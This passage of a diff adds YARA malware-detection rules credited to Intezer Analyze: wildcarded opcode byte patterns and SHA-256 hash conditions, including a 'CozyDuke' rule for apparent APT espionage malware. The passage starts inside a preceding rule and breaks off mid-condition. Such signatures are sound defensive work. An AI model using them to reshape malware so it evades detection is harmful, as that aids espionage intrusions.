+		$block_22 = { 8B ?? ?? 8B ?? ?? 89 ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? 72 }
+		$block_23 = { 5? 5? 8B ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_24 = { 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_25 = { 5? 6A ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_26 = { 8B ?? ?? 83 ?? ?? 85 ?? 83 ?? ?? 83 ?? ?? ?? 01 ?? ?? 85 ?? 0F 81 }
+		$block_27 = { BB ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 03 ?? ?? 3B ?? ?? 0F 87 }
+		$block_28 = { BE ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 03 ?? ?? 3B ?? ?? 0F 87 }
+		$block_29 = { BE ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_30 = { 8B ?? ?? 0F B6 ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 4? 83 ?? ?? 0F 84 }
+		$block_31 = { 0F B7 ?? 5? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 74 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? 5? 6A ?? 5? FF D? 85 ?? 0F 84 }
+		$block_33 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 5? 5? 89 ?? ?? 5? 8B ?? 5? C3 }
+		$block_34 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_35 = { 0F B6 ?? ?? 8D ?? ?? C6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 87 }
+		$block_36 = { 0F B6 ?? ?? 8D ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 4? 4? E9 }
+		$block_37 = { 0F B6 ?? ?? 8D ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 4? 4? EB }
+		$block_38 = { 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? ?? 8B }
+		$block_39 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 8D }
+		$block_40 = { 0F B6 ?? ?? 8D ?? ?? ?? 8B ?? C1 ?? ?? 4? 83 ?? ?? EB }
+		$block_41 = { 0F B6 ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 4? 83 ?? ?? 0F 84 }
+		$block_42 = { 8B ?? C1 ?? ?? 83 ?? ?? 8D ?? ?? 8B ?? ?? 3B ?? 0F 83 }
+		$block_43 = { 8B ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? 8D ?? ?? 3B ?? 0F 83 }
+		$block_44 = { 5? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 09 ?? ?? 85 ?? 0F 81 }
+		$block_45 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 87 }
+		$block_46 = { 33 ?? 66 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? EB }
+		$block_47 = { 8B ?? C1 ?? ?? 83 ?? ?? 8D ?? ?? 3B ?? ?? 0F 83 }
+
+	condition:
+		hash.sha256(0, filesize) == "6a95d2895362fc8657bc90d73d77e32f09b86699eb625905ddeb45ccd6b13c71" or
+		hash.sha256(0, filesize) == "bf210e54c65ea69ebda418f701c2c6b8aff840f31c1072d641a726cef8c7b5ad" or
+		hash.sha256(0, filesize) == "8e28dcf7fd7ce1ad9a65c186e09a7843ee31af924509148f085958cadfdda8fb" or
+		hash.sha256(0, filesize) == "5b96b07528f762dfcb9d6936995ed4e358d29542ae756f6e5547fa3b5b7797b6" or
+		hash.sha256(0, filesize) == "a1015f0b99106ae2852d740f366e15c1d5c711f57680a2f04be0283e8310f69e" or
+		hash.sha256(0, filesize) == "1db9187b7b0e5bc97aca233f29b96295c0bc4058fdcff50df543c1f044e58836" or
+		hash.sha256(0, filesize) == "f2ede48413704b3efc4d629d3db1a1331352a0afb0d91683640dc4b4af2921d1" or
+		hash.sha256(0, filesize) == "7889fbd40f65cfe21d0c7486b29eb4c5042abff4ac660c12c7936831445cfd6e" or
+		hash.sha256(0, filesize) == "2f9834f7b7fe09d98ef7b27d3828691ed4b361d1ccbbf8e10703f9ec03b05259" or
+		hash.sha256(0, filesize) == "5569b85532adb1e637f83c997910924345f10aa9c2948b3d26be13eec6cbeb8b" or
+		hash.sha256(0, filesize) == "f4b01a3a299b09d2b4418cb66e80c34e3ec04016ed27199c472515cf95a023d0" or
+		hash.sha256(0, filesize) == "12a057ca7c92cda3cd0e09efc5bff2ebd3f7d2991e999038c7f31a6ac6a95c3d" or
+		hash.sha256(0, filesize) == "b1584a6f1059ad1c24bde2a9a8ae83ffc6679eb531d30f3f1c69f81e3a3819dc" or
+		hash.sha256(0, filesize) == "f151f5a656d43a76a07fa03166906d51f9683b27b0e9b86464e3a68e9dba1fac" or
+		hash.sha256(0, filesize) == "35c08566dc38ad65e906b3683ace98e5beef855aeedc611a0317a72eee193539" or
+		hash.sha256(0, filesize) == "62a2df9d001d3e0f222d77b6781eb279761f1354570773ef1929a86557a11454" or
+		hash.sha256(0, filesize) == "55265193d63d56553e8e135e9a60d7d7c13cbf9d82ac25f84306ec98d74725b0" or
+		hash.sha256(0, filesize) == "e961202d84aad7fa9faaeb63651735416612d25c611a7a025e2eaab67c79e272" or
+		hash.sha256(0, filesize) == "29ad305cba186c07cedc1f633c09b9b0171289301e1d4319a1d76d0513a6ac50" or
+		hash.sha256(0, filesize) == "abfffd23c81b6301675567622ccee08cf578ce91f372fce68cff8fc1dbc3053d" or
+		hash.sha256(0, filesize) == "56dfc5905e7dfc67912ed164dc68c0806fdd3d7cd151415aaffcc1b7ab2f1a84" or
+		hash.sha256(0, filesize) == "b55e6e10a7f46c97cd247028287ea664bacf7ec7e500a4bf4f53c9dea7625426" or
+		hash.sha256(0, filesize) == "13a50942322977d6471f71debc6d3db38807d88778366bae6cfcae45823a17f8" or
+		hash.sha256(0, filesize) == "de8184c6850d17f90e861309828af1f7b7e3b1695ebe5d303d3d4b6ef4ba1218" or
+		hash.sha256(0, filesize) == "a6e2852f2e6701656da74adb412cd0850b0d27750803613223be3eb5ac5cc26c" or
+		hash.sha256(0, filesize) == "764f8c8f8832954c99fb0c2ac5ac5d89506dc5dc50310c9112318b75e9f9e2bf" or
+		hash.sha256(0, filesize) == "1f19bd932336fa721e739b32c07b67c01ea4bd0ebc70e92a70f41e51f4668a0a" or
+		hash.sha256(0, filesize) == "acd886fa7b9117807f1e11f0f38b9fad1afce51aa9cfbe3810a39d883d0ca663" or
+		hash.sha256(0, filesize) == "94d39845ec228ff1c84668207c4591ae0e2b6605bdf11e84916534ab09744736" or
+		hash.sha256(0, filesize) == "05e4224d4dd4e5fbd381ed33edb5bf847fbc138fbe9f57cb7d1f8fc9fa9a382d" or
+		hash.sha256(0, filesize) == "19580f275b82ee091bdc3028e6e5018fdcc915fe7853d4151b44f3d7e101e531" or
+		hash.sha256(0, filesize) == "55129d34050b2c028de564e3166611e1d148c26de0972cbe047caf530f118468" or
+		hash.sha256(0, filesize) == "ecc5e2526ca32a447c862612b71c1db5675a759897e680573fa143ac0a8e662a" or
+		hash.sha256(0, filesize) == "830ee990a6d4aaf00bb051704c93b468792561e8dd6a6ed4662f6032d38dd37a" or
+		hash.sha256(0, filesize) == "7815e5275ea849a9ed1f193abd8781ff7ae6b88ef6282f6a0900175a4bb59131" or
+		hash.sha256(0, filesize) == "c13794601c5bdec3d5d76de9571e6c0e0b022b9fc62907018566895e3b949982" or
+		hash.sha256(0, filesize) == "6e57c69963562d28a3a9da9f9103c199c909d0baa185a5d21e1b200a5a14ab72" or
+		hash.sha256(0, filesize) == "2ae4cc6834e3679e99fc93d2f5fba02167a31cf5b68a5a9ca7aa1a4b9f7cb4ae" or
+		hash.sha256(0, filesize) == "3d0b1f970eaeeabf9372ffc1ad7e61226632904cf0311ea8f872ddbfd34a3a2a" or
+		hash.sha256(0, filesize) == "f0d822926f4e6aec2cf2bd7701d67e8399ccc05bc028377a275a90e06620a109" or
+		hash.sha256(0, filesize) == "23486eedb5fe8a026f602507f490b4df4721e8befa65007b84c4f5b1ed95e1bd" or
+		hash.sha256(0, filesize) == "4809c2c7fa19acfa011f97946205f979afb54ac2c166f48ab35a20cd9d53a2ca" or
+		hash.sha256(0, filesize) == "c60621e82f58b5ea5b36cde40889a076cb2c7f1612144998b1d388200bc7e295" or
+		hash.sha256(0, filesize) == "fe2672737205351df003e1969ef1ef0df9e13a9a31bf77f844236857ed0b0bf5" or
+		hash.sha256(0, filesize) == "91b97f3b8ef8ebc8bbd06e06927e7b38090c026f8fca77e209e69c056b042cb7" or
+		hash.sha256(0, filesize) == "dfe146fffd2ae59172f52048f7e7d231807e0d732e19bdb443820a8305165741" or
+		hash.sha256(0, filesize) == "354786c5df71cd090c96d1328b4e31cd28b8ddc77904863d100b6c35ad235b69" or
+		hash.sha256(0, filesize) == "8d457e4189017712917c5c8f900bb9072c5910c9f975c50337115f952d885635" or
+		hash.sha256(0, filesize) == "6c2409d415e66faebf0a031350b44d5a014ab4f62f2c1a3115982d452b7f97b9" or
+		hash.sha256(0, filesize) == "cc6ad212f50e0a7a708bb1b63a01d8932f471618cdda69b2e12106ae112b2415" or
+		hash.sha256(0, filesize) == "7f5d3a8dfa13ba8e2142a3b1d644f107cc89c7e90cda2a5543df5787f8bfde1e" or
+		hash.sha256(0, filesize) == "15101f74f974e3e80cc37805ebe5cc2efed77bb5745d82e1b44b1da4f0c83691" or
+		hash.sha256(0, filesize) == "a962ea9027514712ba3949dc3ca54559d1d42e116837dda5f9809d6523a41255" or
+		hash.sha256(0, filesize) == "9c13a32033bc7dd06016651b0f21a2bed9be1dc40c6879f925c71e05f4f1c8f7" or
+		hash.sha256(0, filesize) == "415f88765b88dd90e5b0502e4fa1408e06ac9552c7c8974a510e6e23a9756a45" or
+		12 of them
+}
+
+rule CozyDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_1 = { 8D ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 3B ?? ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_3 = { 5? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 95 ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 72 }
+		$block_4 = { 8B ?? 33 ?? 39 ?? ?? 8B ?? 0F 95 ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? FF D? 5? 5? 33 ?? 5? 8B ?? 5? C2 }
+		$block_5 = { 0F BE ?? ?? 33 ?? 81 F? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_6 = { 8B ?? ?? 0F B6 ?? 0F A4 ?? ?? 25 ?? ?? ?? ?? 99 C1 ?? ?? 0B ?? 4? 0B ?? 89 ?? ?? 3B ?? ?? 7C }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 5? 5? 8B ?? ?? FF D? 85 ?? 0F 88 }
+		$block_8 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? 0F 84 }
+		$block_9 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8B ?? ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 0F BE ?? ?? 66 ?? ?? 48 ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 72 }
+		$block_11 = { 5? 5? 5? 8D ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_12 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? 33 ?? 39 ?? ?? 8B ?? 0F 95 ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? FF D? 5? 33 ?? 5? 8B ?? 5? C2 }
+		$block_14 = { 8B ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? 0F 84 }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? 0F A4 ?? ?? 99 C1 ?? ?? 0B ?? 4? 0B ?? 89 ?? ?? 3B ?? ?? 7C }
+		$block_16 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 2B ?? D1 ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? 0F 83 }
+		$block_19 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_20 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C }
+		$block_22 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 6A ?? 5? 5? 5? 33 ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 4? 83 ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 82 }
+		$block_25 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? ?? 0F 84 }
+		$block_26 = { 8B ?? ?? 5? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 8B ?? ?? ?? ?? ?? 8B ?? 5? 8B ?? ?? FF D? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 82 }
+		$block_28 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 5? 3B ?? 0F 84 }
+		$block_29 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_30 = { 8B ?? ?? 8B ?? ?? 5? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 94 ?? 39 ?? ?? 72 }
+		$block_31 = { 5? 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_32 = { 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 33 ?? 5? 8D ?? ?? 5? 5? 5? 5? 89 ?? ?? 89 ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_34 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 0F BE ?? ?? 33 ?? 81 F? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_36 = { 0F BE ?? ?? 33 ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_37 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 8B ?? 5? 8B ?? ?? 5? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_39 = { 83 ?? ?? 8B ?? 03 ?? ?? 5? FF 3? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_40 = { 8D ?? ?? 5? 5? 5? 5? 5? 5? 5? 5? 5? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? 33 ?? 3B ?? 0F 84 }
+		$block_42 = { 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_43 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 0F BE ?? ?? 66 ?? ?? 48 ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? 72 }
+		$block_45 = { 8D ?? ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_46 = { 0F AF ?? 5? 03 ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 83 ?? ?? 77 }
+		$block_47 = { 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_48 = { 6A ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 5? C6 ?? ?? ?? FF D? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_50 = { FF 7? ?? 8B ?? ?? ?? ?? ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_51 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 85 ?? 0F 85 }
+		$block_53 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_54 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_55 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? 33 ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_56 = { 0F BE ?? ?? 33 ?? 81 F? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4? 3B ?? 72 }
+		$block_57 = { 8B ?? ?? 69 ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 0F 8C }
+		$block_58 = { 8D ?? ?? 5? 33 ?? 81 C? ?? ?? ?? ?? 5? 66 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? 41 ?? ?? ?? ?? ?? 0F 1F }
+		$block_60 = { 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 86 }
+		$block_62 = { 33 ?? 5? 5? 5? 5? 5? E8 ?? ?? ?? ?? CC 8B ?? 5? 8B ?? 5? 5? 5? 8B ?? ?? 85 ?? 75 }
+		$block_63 = { 83 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_64 = { 8B ?? 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_65 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 80 C? ?? 88 ?? ?? ?? ?? ?? ?? 3B ?? 72 }
+		$block_66 = { 8B ?? 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_67 = { 8B ?? ?? 8B ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 8D ?? ?? 33 ?? 5? 66 ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_69 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8D ?? ?? 83 ?? ?? 3B ?? ?? 0F 85 }
+		$block_70 = { 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? A1 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_72 = { 8B ?? ?? 8B ?? ?? 8B ?? 5? 5? 8B ?? ?? ?? ?? ?? ?? FF D? 83 ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 0F B6 ?? ?? 34 ?? 66 ?? ?? 48 ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? 72 }
+		$block_74 = { 5? 8B ?? 5? 5? 8B ?? ?? 5? 8B ?? 5? 8B ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_75 = { 0F BE ?? ?? 33 ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 03 ?? 83 ?? ?? 72 }
+		$block_76 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_77 = { 0F BE ?? ?? 33 ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_78 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 5? 5? 8B ?? ?? FF D? 3B ?? 0F 85 }
+		$block_79 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? 5? 5? FF D? 3B ?? 0F 85 }
+		$block_80 = { 5? 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 5? C6 ?? ?? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 8B ?? 83 ?? ?? 5? FF 3? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_82 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_83 = { 33 ?? 83 ?? ?? 0F 95 ?? 8B ?? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_84 = { 0F BE ?? ?? F7 ?? 33 ?? 81 E? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4? 83 ?? ?? 72 }
+		$block_85 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_86 = { 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_87 = { 42 ?? ?? ?? ?? 32 ?? FE ?? 34 ?? 88 ?? ?? ?? 0F B6 ?? 48 ?? ?? ?? 72 }
+		$block_88 = { 8A ?? ?? 32 ?? 80 F? ?? FE ?? 88 ?? ?? ?? 0F B6 ?? 83 ?? ?? 72 }
+		$block_89 = { 8B ?? 33 ?? 0F BE ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_90 = { 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_91 = { 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_92 = { 8A ?? 80 E? ?? 0F BE ?? F7 ?? 1B ?? 81 E? ?? ?? ?? ?? 81 C? }
+		$block_93 = { 8B ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 84 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_95 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 5? C3 }
+		$block_96 = { 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 49 ?? ?? 0F 1F }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_98 = { 0F BE ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_99 = { 83 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "3dea35172449f0b9a86dff9af3b4480cc4c37a30e8cb54963ff91c4c1ffe7b0d" or
+		hash.sha256(0, filesize) == "262dbadca239e5259161130ac9f0f5ef50691fd9dc3e3490b6c0d7b76e7ee34e" or
+		hash.sha256(0, filesize) == "9891b5586cede16aa1e1b87380621f68e8956b991cf7675bbe18d2ec61a7522f" or
+		hash.sha256(0, filesize) == "01468b1d3e089985a4ed255b6594d24863cfd94a647329c631e4f4e52759f8a9" or
+		hash.sha256(0, filesize) == "8a5d8d103cb175d7dc41932ef9a890997e25dbe15f94ecd2105835fe49779354" or
+		hash.sha256(0, filesize) == "7cdb9c2e8b6ca7f0a683a39c0bdadc7a512cff5d8264fdec012c541fd19c0522" or
+		hash.sha256(0, filesize) == "4bcb2a5d99297b30f8ff00e08cf7330d5e2f69fc602bb317bf8e9f703a137a99" or
+		hash.sha256(0, filesize) == "c1b19af1e354f13c90163780be6ad50f02d5bf8bac1c9cc1eab1377a159de1be" or
+		hash.sha256(0, filesize) == "fdd7e8582ef8d7a23f269653435582cfe924ca9b2db34af63af5e57d1f3e09c2" or
